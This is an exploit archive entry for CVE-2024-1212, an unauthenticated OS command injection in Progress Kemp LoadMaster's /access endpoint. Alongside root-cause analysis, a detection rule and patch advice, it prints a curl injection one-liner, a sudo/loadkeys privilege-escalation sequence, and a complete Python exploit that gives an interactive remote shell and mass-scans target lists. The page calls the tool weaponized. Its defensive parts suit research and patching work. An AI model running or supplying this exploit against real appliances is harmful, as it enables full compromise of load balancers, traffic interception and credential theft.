PoC Archive PoC Archive
CVE-2024-1212 category: web CVSS 10 (CRITICAL) KEV EPSS 77%
Patched

Progress Kemp LoadMaster Unauthenticated Command Injection - CVE-2024-1212

Published: 2026-11-27 • Researcher: Chocapikk (Valentin Lobstein, repo author); vulnerability research by David Yesland, Rhino Security Labs

Target software Progress Kemp LoadMaster (LMOS)
Affected versions 7.2.48.1 to 7.2.48.9, 7.2.54.0 to 7.2.54.7, and 7.2.55.0 to 7.2.59.1; fixed in 7.2.48.10, 7.2.54.8, 7.2.59.2 (confirmed vulnerable on 7.2.59.0.22007)
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV EPSS 77%

Confirmed exploited in the wild. Added to CISA KEV 2024-11-18. Federal remediation deadline 2024-12-09.

EPSS 77.4% · 100th percentile

Severity
Critical
CVE
CVE-2024-1212
Category
web
Affected product
Progress Kemp LoadMaster (LMOS)
Affected versions
7.2.48.1 to 7.2.48.9, 7.2.54.0 to 7.2.54.7, and 7.2.55.0 to 7.2.59.1; fixed in 7.2.48.10, 7.2.54.8, 7.2.59.2 (confirmed vulnerable on 7.2.59.0.22007)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2025-08-26
Author / ResearcherChocapikk (Valentin Lobstein, repo author); vulnerability research by David Yesland, Rhino Security Labs
CVE / AdvisoryCVE-2024-1212
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1)
StatusWeaponized
Tagscommand injection, Kemp LoadMaster, unauthenticated, RCE, appliance, CWE-78, CISA KEV, HTTP Basic auth, load balancer
RelatedN/A

Affected Target

FieldValue
Software / SystemProgress Kemp LoadMaster (LMOS)
Versions Affected7.2.48.1 to 7.2.48.9, 7.2.54.0 to 7.2.54.7, and 7.2.55.0 to 7.2.59.1; fixed in 7.2.48.10, 7.2.54.8, 7.2.59.2 (confirmed vulnerable on 7.2.59.0.22007)
Language / PlatformLinux appliance; web management interface (httpd + CGI/bash + /bin/access)
Authentication RequiredNo
Network Access RequiredYes (administrator web user interface reachable)

Summary

CVE-2024-1212 is an unauthenticated OS command injection in the Progress Kemp LoadMaster administrator web interface. The /access REST API endpoint decodes the HTTP Basic authentication credentials and passes the supplied username and password into a shell command without sanitisation. An attacker who can reach the management interface can break out of the command with a single quote and execute arbitrary OS commands as the default administrative bal user, then escalate to root by abusing sudo entries. The flaw was exploited in the wild and is listed in the CISA KEV catalog.

Vulnerability Details

Root Cause

Requests to /access are relayed by httpd to a bash wrapper that invokes the /bin/access binary. Inside verify_perms(), the v1getuser() function reads the REMOTE_USER and REMOTE_PASS environment variables, which are populated from the HTTP Basic Authorization header, and passes them to validu(). That function builds a command string with __sprintf_chk() and hands it to system() with no validation or escaping. A single quote in the username closes the argument context, a semicolon terminates the command, and anything appended is executed by the shell as the bal user. The API-disabled state does not prevent reaching this path: requesting /access/set?param=enableapi&value=1 passes the internal checks and reaches verify_perms() even when the REST API is disabled by default.

Attack Vector

An unauthenticated HTTP GET to /access/set?param=enableapi&value=1 with a crafted Basic Authorization header. The upstream PoC places the payload in the username and wraps command output between unique markers, for example: ‘;echo ‘[S]’;hostname;echo ‘[E]’;’. Because the header is Base64-encoded, the payload survives URL and header parsing.

Impact

Arbitrary command execution on the LoadMaster appliance as the bal account, with full compromise of the load balancer after local privilege escalation to root through misconfigured sudo entries. An attacker can read and alter load-balancing configuration, intercept or redirect traffic, extract certificates and credentials, disable availability controls, and persist on the device.

Environment / Lab Setup

Output
OS:          Linux host for the attacker; LoadMaster VLM (virtual machine image) or hardware/cloud appliance
Target:      Progress Kemp LoadMaster 7.2.59.0.22007 (vulnerable) with the admin WUI reachable, normally https://TARGET
Attacker:    Linux or macOS with Python 3
Tools:       Python 3, requests, rich, alive_progress, prompt_toolkit; curl for manual confirmation

Setup Steps

Shell script
1
2
3
4
5
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt

python exploit.py --url "https://TARGET"

The script builds requests as /access/set?param=enableapi&value=1, so the supplied URL must not end with a slash. Scanning multiple targets reads one URL per line from a file and appends hits to the output file:

Shell script
1
python exploit.py -f targets.txt -o vulnerable.txt -t 50

Proof of Concept

Step-by-Step Reproduction

  1. Deploy or identify a target - Start a vulnerable LoadMaster VLM and confirm the administrator WUI answers on 443.

  2. Run the exploit - Supply the base URL. The tool first injects a hostname command to test for command execution.

    Shell script
    1
    
    python exploit.py --url "https://192.0.2.10"
  3. Confirm and use the shell - A successful probe prints the Vulnerable banner and drops into an interactive prompt, where any command can be entered.

    Shell script
    1
    2
    
    # id
    # cat /proc/version
  4. Manual confirmation with curl - The same injection can be triggered without the tool.

    Shell script
    1
    2
    
    curl -k -s "https://192.0.2.10/access/set?param=enableapi&value=1" \
      -u "';echo '[S]';id;echo '[E]';':anything

Exploit Code

See exploit.py in this folder.

Python
1
2
3
4
5
6
7
8
9
def send_command(self, command, url):
    command_payload = f"';echo '[S]';{command};echo '[E]';'"
    response = requests.get(
        url + "/access/set?param=enableapi&value=1",
        auth=(command_payload, "anything"),
        verify=False,
        timeout=20,
    )
    return self.parse_command_output(response.text)

Expected Output

Output
[+] Vulnerable | https://192.0.2.10 | CVE-2024-1212 | loadmaster-hostname
Interactive shell is ready. Type your commands. Use 'exit' to quit.
uid=1000(bal) gid=1000(bal) groups=1000(bal)
...

The exact uid depends on the LMOS build; the injected output is whatever appears between the [S] and [E] markers in the HTTP response.

Detection & Indicators of Compromise

Output
GET /access/set?param=enableapi&value=1 HTTP/1.1
Authorization: Basic <base64 of "';echo '[S]';<command>;echo '[E]';':anything>

/tmp/loadkeys
cp /bin/loadkeys /tmp/loadkeys
cp /bin/bash /bin/loadkeys
loadkeys -c /bin/bash

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2024-1212 Kemp LoadMaster access command injection"; flow:to_server,established; content:"GET"; http_method; content:"/access/set"; http_uri; content:"param=enableapi"; http_uri; content:"Authorization|3a| Basic"; http_header; reference:cve,2024-1212; sid:9000121;)

Remediation

ActionDetail
PatchUpgrade LMOS to 7.2.59.2.22338 or later. Hotfix builds 7.2.48.10 and 7.2.54.8 also address the flaw.
WorkaroundRestrict the administrator WUI to trusted management networks or a VPN; block /access at the edge when the REST API is not in use; monitor for crafted Authorization headers.
Config HardeningKeep the API disabled unless required, enforce least privilege and unique credentials, audit sudo entries used by the bal account, and rotate any secrets that may have been exposed while the appliance was vulnerable.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/Chocapikk/CVE-2024-1212 (stars 19, forks 6, Python).

Review verdict: ingested. The script is a genuine exploit, not a detector: it sends a Basic Authorization username containing a shell breakout to the vulnerable /access/set endpoint, executes the requested command via the appliance’s own shell invocation, and extracts real command output from the response between [S] and [E] markers. It also includes an interactive command loop.

License: the upstream repository has no LICENSE file and the README states educational use only; copyright remains with the upstream author. Attribution and source URL are retained here, and the copied exploit file carries an archive header.

Limitations: a live target with the administrator WUI reachable is required; the script disables TLS verification; the URL argument is concatenated directly with the endpoint path; the command wrapper uses single quotes, so injected commands containing single quotes need escaping; the privilege escalation to root relies on the appliance’s sudo configuration described in the upstream README and is not automated. No exploit code was executed during preparation of this entry.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
# Archived for authorized security research only.
# Source: https://github.com/Chocapikk/CVE-2024-1212 (see README for attribution/license)

import os
import re
import argparse
import requests
import warnings

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class LoadMaster:
    def __init__(self):
        self.console = Console()
        self.output_file = None
        self.verbose = False
        self.print_ascii()
        self.parse_arguments()

    def print_ascii(self):
        ascii_art = [
            "┌────────────────────────────────────────────────────────────────────────────────────────────┐",
            "│ ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗       ██╗██████╗  ██╗██████╗ │",
            "│██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ███║╚════██╗███║╚════██╗│",
            "│██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗╚██║ █████╔╝╚██║ █████╔╝│",
            "│██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝ ██║██╔═══╝  ██║██╔═══╝ │",
            "│╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║       ██║███████╗ ██║███████╗│",
            "│ ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝       ╚═╝╚══════╝ ╚═╝╚══════╝│",
            "└────────────────────────────────────────────────────────────────────────────────────────────┘",
        ]
        print()
        for line in ascii_art:
            self.custom_print(f"[bright_green]{line}[/bright_green]", "+")
        print()

    def parse_arguments(self):
        parser = argparse.ArgumentParser(
            description="CVE-2024-1212 Command Injection Exploit for Kemp LoadMaster."
        )
        parser.add_argument("-u", "--url", help="Target URL for command injection.")
        parser.add_argument("-f", "--file", help="File containing target URLs to scan")
        parser.add_argument("-o", "--output", help="Output file for saving scan results")
        parser.add_argument(
            "-t",
            "--threads",
            default=50,
            type=int,
            help="Number of threads to use for scanning",
        )
        args = parser.parse_args()

        self.output_file = args.output

        if args.url:
            self.verbose = True
            self.url = args.url
            if self.check_vulnerability(args.url):
                self.interactive_shell(args.url)
        elif args.file:
            self.scan_from_file(args.file, args.threads)
        else:
            parser.print_help()

    def send_command(self, command, url):
        command_payload = f"';echo '[S]';{command};echo '[E]';'"
        try:
            response = requests.get(
                url + "/access/set?param=enableapi&value=1",
                auth=(command_payload, "anything"),
                verify=False,
                timeout=20,
            )
            return self.parse_command_output(response.text)
        except requests.RequestException:
            return None

    def parse_command_output(self, response_text):
        match = re.search(r"\[S\](.*?)\[E\]", response_text, re.DOTALL)
        if match:
            return match.group(1).strip()
        else:
            return None

    def check_vulnerability(self, url):
        hostname = self.send_command("hostname", url)
        if hostname:
            message = f"Vulnerable | {url:^30} | CVE-2024-1212 | {hostname:^30}"
            self.custom_print(message, "+")
            if self.output_file:
                with open(self.output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
        else:
            if self.verbose:
                self.custom_print(
                    f"System at {url} is not vulnerable, or the command produced no output.",
                    "-",
                )
            return False

    def scan_from_file(self, target_file, threads):
        if not os.path.exists(target_file):
            self.custom_print(f"File not found: {target_file}", "-")
            return

        with open(target_file, "r") as file:
            urls = [line.strip() for line in file if line.strip()]

        if not urls:
            self.custom_print("No URLs found in the file.", "-")
            return

        with alive_bar(
            len(urls), title="Scanning Targets", bar="smooth", enrich_print=False
        ) as bar:
            with ThreadPoolExecutor(max_workers=threads) as executor:
                futures = [
                    executor.submit(self.check_vulnerability, url) for url in urls
                ]
                for future in as_completed(futures):
                    bar()

    def split_commands(self, cmd_input):
        """
        Splits multiline input into shell-safe command chunks.
        Each line is considered a separate command unless it contains shell chaining.
        """
        commands = []
        buffer = ""

        for line in cmd_input.splitlines():
            stripped = line.strip()
            if not stripped:
                continue

            buffer += stripped

            # If the line ends with a shell chaining operator or is clearly a compound line
            if re.search(r"(;|&&|\|\|)\s*$", stripped):
                continue  # wait for next line

            # Complete command
            commands.append(buffer)
            buffer = ""

        if buffer:
            commands.append(buffer)

        return commands


    def interactive_shell(self, url):
        session = PromptSession(history=InMemoryHistory(), multiline=False)
        self.custom_print("Interactive shell is ready. Type your commands. Use 'exit' to quit.", "!")
        while True:
            try:
                cmd_input = session.prompt(HTML("<ansired><b># </b></ansired>"))

                if cmd_input.strip().lower() == "exit":
                    break
                elif cmd_input.strip().lower() == "clear":
                    self.console.clear()
                    continue

                commands = self.split_commands(cmd_input)

                for command in commands:
                    result = self.send_command(command, url)
                    print(result if result else "No output.", "\n")

            except KeyboardInterrupt:
                break

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )


if __name__ == "__main__":
    LoadMaster()